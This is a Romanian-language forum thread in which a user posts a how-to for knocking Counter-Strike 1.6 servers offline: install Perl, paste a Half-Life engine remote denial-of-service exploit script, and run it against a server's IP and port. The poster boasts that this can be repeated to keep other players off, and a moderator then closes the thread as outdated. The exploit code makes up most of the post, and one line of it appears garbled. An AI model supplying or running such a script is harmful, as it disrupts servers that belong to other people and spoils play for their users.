Jump to content
Printu2008

Cum sa inchizi un sever de CS 1.6 folosind Perl

Recommended Posts

Posted

1. Descarcati perl (cautati pe google active perl download)

2. Instalatil

3.

#!/usr/bin/perl
# Server must not be running steam. /str0ke


# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";

sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$;

$c2=$c[1];

$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

# milw0rm.com [2006-02-11]

4. Salvatil intrun fisier denumit x.pl (sa aibe extensia .pl)

5. RUN>CMD>cd C:/Perl/Bin

perl x.pl [iP-UL SERVERULUI] (cu port ex: xx.xxx.xx.xxx:27015 si fara paranteze)

6. Asteptati 1-2 min. Inchideti fereastra

SERVER IS NOT RESPONDING :twisted:

Posted

Simplu inchide serverul si nu mai poti juca pe el si nici altii nu mai pot juca pe el ... pana il deschide proprietarul si dupaia tot il inchizi si tot asa :D :twisted:

Enjoy, Printu2008 :twisted:

Guest Nemessis
Posted

Nu mai veniti cu antichitatile astea. Trashed.

Guest
This topic is now closed to further replies.


×
×
  • Create New...